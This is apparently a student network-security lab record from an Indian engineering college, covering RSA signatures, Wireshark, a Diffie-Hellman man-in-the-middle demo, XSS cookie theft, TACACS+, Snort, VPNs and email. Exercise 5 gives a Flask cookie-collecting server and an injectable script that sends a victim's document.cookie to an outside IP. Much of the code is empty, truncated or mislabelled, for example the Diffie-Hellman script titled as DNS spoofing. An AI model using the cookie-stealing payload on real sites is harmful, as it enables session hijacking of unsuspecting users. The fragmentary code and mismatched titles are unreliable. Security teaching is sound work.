Ne4261 Network Security Laboratory
Ne4261 Network Security Laboratory
LABORATORY RECORD
REG.NO :
NAME :
SEMESTER : II
Karpaga Vinayaga
College of Engineering and Technology
DEPARTMENT OF COMPUTER SCIENCE AND
ENGINEEERING (WITH SPECIALIZATION IN
NETWORKS)
Name : .......................................................................................................................
Reg. No :
Certified that this is the bonafide record of practicals done as a part of semester
during the academic year 20 _- 20___ .
3
EX.NO : 1
AIM :
ALGORITHM :
4
t = t1-q * t2
t1 = t2
t2 = t
if t1 < 0:
t1 = t1 % a
return (r1, t1)
# Enter two large prime
# numbers p and q
p = 823
q = 953
n=p*q
Pn = (p-1)*(q-1)
# Generate encryption key
# in range 1<e<Pn
key = []
for i in range(2, Pn):
gcd = euclid(Pn, i)
if gcd == 1:
key.append(i)
# Select an encryption key
# from the above list
e = int(313)
# Obtain inverse of
# encryption key in Z_Pn
r, d = exteuclid(Pn, e)
if r == 1:
d = int(d)
print("decryption key is: ", d)
else:
print("Multiplicative inverse for\
the given encryption key does not \
exist. Choose a different encryption key ")
# Enter the message to be sent
M = 19070
# Signature is created by Alice
S = (M**d) % n
# Alice sends M and S both to Bob
# Bob generates message M1 using the
# signature S, Alice's public key e
# and product n.
M1 = (S**e) % n
5
# If M = M1 only then Bob accepts
# the message sent by Alice.
if M == M1:
print("As M = M1, Accept the\
message sent by Alice")
else:
print("As M not equal to M1,\
Do not accept the message\
sent by Alice ")
OUTPUT :
RESULT :
To Successfully verify SIGNATURE SCHEME - Digital Signature Standard in Python Program
6
EX.NO : 2
Implement how to capture and analyze packets using Wireshark
DATE :
AIM :
ALGORITHM :
2. Upon firing up Wireshark first you need to choose the interface for which you want to capture
the traffic for wireless, ethernet etc.
3. To filter traffic from any specific IP address type: ip.addr == 'xxx.xx.xx.xx' in the Apply a
display filter field.
4. To filter traffic for specific protocol say TCP, UDP, SMTP, ARP, DNS Requests etc just type the
protocol name in the Apply a display filter field.
PROGRAM :
#!usr/bin/env python
# this code prints Source and Destination IP from the given 'pcap' file
import dpkt
import socket
def printPcap(pcap):
try:
eth = dpkt.ethernet.Ethernet(buf)
ip = eth.data
src = socket.inet_ntoa(ip.src)
7
# read the destination IP in dst
dst = socket.inet_ntoa(ip.dst)
except:
pass
def main():
f = open('/home/codeplay/Desktop/first.pcap')
pcap = dpkt.pcap.Reader(f)
printPcap(pcap)
if __name__ == '__main__':
main()
OUTPUT :
RESULT :
8
EX.NO : 3 To Analysis Network using Wireshark for
(a)Traffic Monitoring (TCP slow down and HTTP slow down)
Date :
AIM :
To Analysis Network using Wireshark for Traffic Monitoring (TCP slow down and HTTP slow down)
ALGORITHM :
1. We are going to use a few Python libraries:
Pandas as pd → read data and store in a dataframe
MatPlotlib as plt → graph data
Networkx as nx → graph data as nodes if they communicated
2. load your data based on its file path. Looking at our data frame, we see the columns →‘No.’,
‘Time’, ‘Source’, ‘Destination’, ‘Protocol’, ‘Length’, ‘Info’
9
3. Taking a look at “sources” reveals which devices had the least/most number of communications.
10
5. If you investigate “protocols”, you’ll see a few HTTP types of communications. As a security
professional, you know that means information communicated is not encrypted. Meaning, anyone can
read it, so hopefully, there was nothing confidential!
PROGRAM :
11
OUTPUT :
RESULT:
Observing our results we see which devices it communicated with and other devices it could have potentially reached.
12
EX.NO : 3 To Analysis Network using Wireshark for
(b) Packet SniffingDate :
AIM :
To Analysis Network using Wireshark for Packet Sniffing
ALGORITHM :
1. Start up the Wireshark program (select an interface and press start to capture packets).
2. Start up your favorite browser (ceweasel in Kali Linux).
3. In your browser, go to Wayne State homepage by typing www.wayne.edu.
4. After your browser has displayed the http://www.wayne.edu page, stop Wireshark packet capture
by selecting stop in the Wireshark capture window. This will causethe Wireshark capture window
to disappear and the main Wireshark window to display all packets captured since you began
packet capture see image below:
5. Color Coding: You’ll probably see packets highlighted in green, blue, and black. Wireshark uses
colors to help you identify the types of traffic at a glance. By default, green is TCP traffic, dark
blue is DNS traffic, light blue is UDP traffic, and black identifies TCP packets with problems —
for example, they could have beendelivered out-of-order.
6. You now have live packet data that contains all protocol messages exchanged between your
computer and other network entities! However, as you will notice the HTTP messages are not
clearly shown because there are many other packets included in the packet capture. Even though
the only action you took was to open your browser, there are many other programs in your
computer that communicate via the network in the background. To filter the connections to the
ones we want to focus on, we have to use the filtering functionality of Wireshark by typing “http”
in the filtering field as shown below:
13
7. To further filter packets in Wireshark, we need to use a more precise filter. By setting the
http.host==sustech, we are restricting the view to packets that have as an http host the
www.wayne.edu website. Notice that we need two equal signs toperform the match “==” not just
one. See the screenshot below:
14
8. Now, we can try another protocol. Let’s use Domain Name System (DNS) protocolas an example
here.
15
9. Let’s try now to find out what are those packets contain by following one of the conversations
(also called network flows), select one of the packets and press theright mouse button (if you are
on a Mac use the command button and click), you should see something similar to the screen
below:
Click on Follow UDP Stream, and then you will see following screen.
16
10. If we close this window and change the filter back to “http.host==www.wayne.edu”and then follow
a packet from the list of packets that match that filter, we should get the something similar to the
following screens. Note that we click on Follow TCP Stream this time.
RESULT :
To Successfully Analysis Network using Wireshark for Packet Sniffing
17
EX.NO : 4
To perform man in middle attack using DNS spoofing
DATE :
AIM :
ALGORITHM :
Step 1: Selected public numbers p and g, p is a prime number, called the “modulus” and g is called
the base.
Step 5: If Alice uses S 1 as a key to encrypt a later message to Bob, Malory can decrypt it, re-encrypt it
using S 2, and send it to Bob. Bob and Alice won
PROGRAM :
import random
# public keys are taken
# p is a prime number
# g is a primitive root of p
p = int(input('Enter a prime number : '))
g = int(input('Enter a number : '))
class A:
def __init__(self):
# Generating a random private number selected by alice
self.n = random.randint(1, p)
def publish(self):
18
# generating public values
return (g**self.n)%p
class B:
def __init__(self):
# Generating a random private number selected for alice
self.a = random.randint(1, p)
# Generating a random private number selected for bob
self.b = random.randint(1, p)
self.arr = [self.a,self.b]
alice = A()
bob = A()
eve = B()
seb = eve.compute_secret(gb,1)
print(f'Alice computed (S1) : {sa}')
print(f'Eve computed key for Alice (S1) : {sea}')
print(f'Bob computed (S2) : {sb}')
print(f'Eve computed key for Bob (S2) : {seb}')
OUTPUT :
Result :
To Successfully Verify perform man in middle attack using DNS spoofing
20
EX.NO : 5
To Perform HTTP Session Hijacking through Cookie stealing
DATE :
AIM :
PROCEDURE :
Many popular websites have been affected by cookie hijacking. For instance, Flickr has been hit by a
script that steals users’ passwords and sends them to an attacker’s email address.
This type of attack occurs when the attacker embeds malicious JavaScript code into an otherwise
authentic-looking email or advertisement.
This malicious code is then executed by the victim’s browser when they visit the infected site; it will
display an endless series of popups that may be used for phishing purposes to steal your login
credentials or other sensitive information.
In addition, some sites have also been modified so that they harvest cookie data from unsuspecting
visitors without requiring them to provide their login credentials first.
PROGRAM :
layout: post
title: XSS Session Hijacking Part I
categories:
- web hacking
- python--

# Prerequisites
Before we get started, let's get our development environment set up. We start by creating a new
project directory.
{% highlight bash %}
# create new project directory
mkdir cookiestealer
{% endhighlight %}
{% highlight bash %}
# initialize virtual environment
cd cookiestealer
21
virtualenv --no-site-packages env
{% endhighlight %}
{% highlight bash %}
. env/bin/activate
{% endhighlight %}
{% highlight bash %}
echo "flask\nflask-cors" > pip.req
{% endhighlight %}
{% highlight bash %}
{% endhighlight %}
{% highlight bash %}
touch no-redirect.py
{% endhighlight %}
{% endhighlight %}
{% highlight python %}
{% endhighlight %}
{% highlight python %}
{% endhighlight %}
{% highlight python %}
@app.route('/')
22
def index():
cookies = request.args.get('cookies')
with open('cookies.txt', 'a') as fd:
print cookies
fd.write(cookies)
{% endhighlight %}
{% highlight python %}
{% endhighlight %}
{% highlight python %}
from flask import Flask, request, render_template
from flask.ext.cors import CORS
app = Flask(__name__)
app.debug = True
CORS(app)
@app.route('/')
def index():
cookies = request.args.get('cookies')
with open('cookies.txt', 'a') as fd:
print cookies
fd.write(cookies)
return render_template('index.html', cookies=cookies)
{% endhighlight %}
{% highlight python %}
app = Flask(__name__)
app.debug = True
CORS(app)
@app.route('/')
def index():
cookies = request.args.get('cookies')
with open('cookies.txt', 'a') as fd:
fd.write(cookies)
return redirect( request.referrer )
app.run(host='0.0.0.0', port=80)
{% endhighlight %}
Notice that we've added another import statement at the top of the file:
{% highlight python %}
{% endhighlight %}
{% highlight python %}
{% endhighlight %}
24

{% highlight html %}
{% endhighlight %}
<iframe width="560" height="315" src="https://www.youtube.com/embed/PtqRHgQAgUU"
frameborder="0" allowfullscreen></iframe>
>
> -- <cite>[Mozilla Developer Network](https://developer.mozilla.org/en-
US/docs/AJAX/Getting_Started)</cite>
{% highlight javascript %}
{% endhighlight %}
The code shown above simply creates a new XMLHttpRequest objects, initializes a POST
request object, and uses the request object to send the user's cookies to the attacker's server.
The script's injectable form is shown below.
{% highlight html %}
<script> var xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST",
"http://192.168.1.191/update", true); xmlhttp.send(JSON.stringify({hostname:
window.location.host, session:document.cookie})); </script>
{% endhighlight %}
{% highlight python %}
25
app = Flask(__name__)
app.debug = True
CORS(app)
print cookies
return {
'Success' : True,
}
app.run(host='0.0.0.0', port=80)
{% endhighlight %}
In addition, the script keeps a set of stolen cookies to keep duplicates to a minimum. You can
see the AJAX cookie stealer in action in the video below.
26
OUTPUT :
RESULT :
To Successfully Verify http session hijacking through cookie stealing
27
EX.NO : 6 To Configure AAA (TACACS+) on Packet Tracer for User Authentication
DATE :
AIM :
To Impliment Configure AAA (TACACS+) on Packet Tracer for User Authentication
ALGORITHM :
1. Enabling AAA.
2. Setting Username / Password.
3. Setting Authetication Method.
4. Assigning TACACS Server.
5. Telnet Configuration.
6. TACACS+ Authorisation Configuration.
7. TACACS+ Accounting Configuration.
PROGRAM :
Switch(config)# aaa new-model
Note: when TACACS server becomes unreachable, you use switch’s local database for
authentication.
Switch(config-if)# exit
28
OUTPUT:
RESULT :
To Successfully verify the AAA (TACACS+) on Packet Tracer for User Authentication configuration.
29
EX.NO : 7 Demonstrate intrusion detection system (ids) using any tool
(snort or any other software)
DATE :
AIM :
To Demonstrate intrusion detection system (ids) using any tool(snort or any other software)
ALGORITHM:
Installation Steps:
In Linux:
Step-1: wget https://www.snort.org/downloads/snort/snort-2.9.15.tar.gz
Step-2: tar xvzf snort-2.9.15.tar.gz
Step-3: cd snort-2.9.15
Step-4: ./configure –enable-sourcefire && make && sudo make install
In Windows:
Step-1: Download SNORT installer from
https://www.snort.org/downloads/snort/Snort_2_9_15_Installer.exe
Step-1: Execute the Snort_2_9_15_Installer.exe
PROGRAM:
To run Snort in packet dump mode, use the following command:
30
Snort — rules and configuration
Like all general Linux applications, Snort is configured via a conf file, which can be opened as a
simple text file. Edit this text file, restart the application and we have a new working configuration.
Before going any further, let’s take a brief look into the syntax of Snort rules.
Snort rules must be contained in a single line or we can use the multi-line character \. For
example:
log tcp !x.x.x/xx OR
All rules should contain a rule header (which identifies the actions) and rule options (which
identify the rule’s alert messages).
The rules must describe situations like a violation of the security policy of the company, or
correctly detect the exploitable vulnerabilities.
There are three kinds of rules in Snort:
31
Disable rules
Depending on your enterprise, we may need to change the rules that Snort relies upon, and customise them
in Section
To not let Snort use a given set, simply comment out the include part.
After making any change, simply save the file and test the configuration using the -
T switch.
OUTPUT:
RESULT:
To Successfully Verify Demonstrate intrusion detection system (ids) using tool snort
32
EX.NO : 8 Create a Virtual Private Network and evaluate application response time in the
presence and absence of a firewall.
DATE :
AIM :
To Create a Virtual Private Network and evaluate application response time in the presence and
absence of a firewall.
ALGORITHM:
1. Step 1: Line up key VPN components. ...
2. Step 2: Prep devices. ...
3. Step 3: Download and install VPN clients. ...
4. Step 4: Find a setup tutorial. ...
5. Step 5: Log in to the VPN. ...
6. Step 6: Choose VPN protocols. ...
7. Step 7: Troubleshoot. ...
8. Step 8: Fine-tune the connection.
PROGRAM:
To secure and encrypt all network traffic, you'll also need a VPN router. Many routers come with VPN
clients built-in.
33
Look for the "downloads" page on your VPN provider's website. You should also download
apps for the mobile devices that your workers use since you’ll want to protect connections from as
many devices as possible.
Once you're logged in, the VPN app usually connects to the server nearest to your current location.
OpenVPN
1. L2TP/IPSec
2. SSTP
3. PPTP
Step 7: Troubleshoot
Usually, your VPN provider's client will start working right away. But if that's not the case, try these steps:
Shut down and reopen the client and try rebooting your device.
If you have any other VPN software running, make sure you're disconnected, then close it down.
VPN clients need appropriate software drivers to work correctly. In some cases, you can click on the "repair"
setting to reload drivers. Check the settings page to see if this feature is available.
For example, decide whether you'd like the VPN to run as soon as people start their devices. This may
be a good idea if you need the protection of a VPN all the time—for example, if most people work outside the
office. But if you think that you'll only need to use the VPN occasionally, you can set it to launch only when
required, freeing up network resources for other uses.
Another fine-tuning option is to choose commonly used servers as your defaults or "favorites." This can
save you a bit of time since you and other employees won't have to search for preferred servers every time you
connect.
34
You may also want to turn on the "kill-switch" if your VPN provider offers it. The kill-switch is
designed to prevent a device from sending or receiving data if the VPN becomes disconnected.
OUTPUT:
RESULT:
To Successfully verify Virtual Private Network and evaluate application response time in the presence and
absence of a firewall
35
EX.NO : 9
Implementation of Email incoming and outgoing authenticity controls and
malware filtration and attachment security
DATE :
AIM :
Implementation of Email incoming and outgoing authenticity controls and malware filtration and
attachment security
ALGORITHM :
1. Import the following modules MIMEText,MIMEImage, MIMEAudio
5. Attach the image data to MIMEMultipart using MIMEImage, we add the given
filename use os.basename
6. by using the sendmail function, pass parameters such as from where, to where, and
the message content.
PROGRAM :
# Import the following module
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
import smtplib
import os
# initialize connection to our
# email server, we will use gmail here
smtp = smtplib.SMTP('smtp.gmail.com', 587)
smtp.ehlo()
smtp.starttls()
36
# Login with your email and password
smtp.login('Your Email', 'Your Password')
# Add Subject
msg['Subject'] = subject
37
# We do the same for
# attachments as we did for images
if attachment is not None:
# Check whether we have the
# lists of attachments or not!
if type(attachment) is not list:
OUTPUT :
RESULT:
To Successfully Verify Implementation of Email incoming and outgoing authenticity controls and
malware filtration and attachment security
39